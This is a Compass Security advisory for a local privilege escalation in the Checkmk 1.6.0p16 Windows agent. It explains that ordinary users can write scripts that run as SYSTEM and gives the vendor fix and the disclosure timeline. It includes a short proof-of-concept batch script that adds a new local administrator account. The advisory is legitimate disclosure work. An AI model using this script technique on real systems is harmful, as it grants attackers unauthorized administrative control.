Checkmk 1.6.0p16 Local Privilege Escalation

Checkmk version 1.6.0p16 suffers from a local privilege escalation vulnerability.


MD5 | e21d1df7920482548d547d5f1366637f

################################################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
################################################################################
#
# Product: Checkmk
# Vendor: tribe29 GmbH
# CSNC ID: CSNC-2020-005
# Subject: Local Privilege Escalation
# Risk: High
# Effect: Locally exploitable
# Authors: Thierry Viaccoz <[email protected]>
# Date: 21.09.2020
#
################################################################################

Introduction:
-------------
Checkmk [1] is an IT infrastructure monitoring software. It is consists of a
management server querying the clients and of an agent installed on the
monitored systems.

Compass Security identified a local privilege escalation vulnerability,
allowing a user on a systems monitored by Checkmk to escalate its privileges to
become a local administrator.

Affected:
---------
Vulnerable:
* Checkmk 1.6.0p16

Not vulnerable:
* Checkmk 1.6.0p17

No other version was tested, but it is believed for the older versions to be
also vulnerable.

Technical Description:
----------------------
Generally, a standard user can read and write to more paths than it should,
thereby allowing it to access and modifiy sensitive information.

Every user logged in on a system monitored by Checkmk can write to the path
where scripts are stored. These are executed regularly by the agent as SYSTEM:
C:\ProgramData\checkmk\agent\local>icacls .
. NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

This means that the user can execute arbitrary commands as SYSTEM and escalate
its privileges. As a proof of concept, the script
"C:\ProgramData\checkmk\agent\local\script.bat" with the following content was
created:
@echo off
echo 0 myservice - OK: Custom output
whoami > C:\checkmk.txt
net user /add compass [CUT]
net localgroup Administrators compass /add

The script first writes the current user with "whoami" in the file
"C:\checkmk.txt", then creates the new user "compass" and finally adds it in
the local "Administrators" group.

After several minutes, the script gets triggered by the monitoring server
through the local agent and the file "C:\checkmk.txt" with the following
content is present:
nt authority\system

This shows that the script was executed as SYSTEM. In addition, the new local
administrator "compass" is present on the system.

A local attacker can exploit this vulnerability to gain local administrative
privileges on any system monitored by Checkmk.

Workaround / Fix:
-----------------
Restrict the paths the users can read and write to the strict minimum in order
to prevent the scripts being tampered with and sensitive information like keys
to leak to unauthorized users. This was fixed by the publisher in [2].

As a Checkmk customer, update your installation to the latest version to
receive the fix.

Timeline:
---------
2020-08-19: Discovery by Thierry Viaccoz
2020-08-24: Initial vendor notification
2020-08-31: Release of fixed version
2020-09-21: Coordinated public disclosure date

References:
-----------
[1] https://checkmk.com/
[2] https://checkmk.com/check_mk-werks.php?werk_id=11460



Related Posts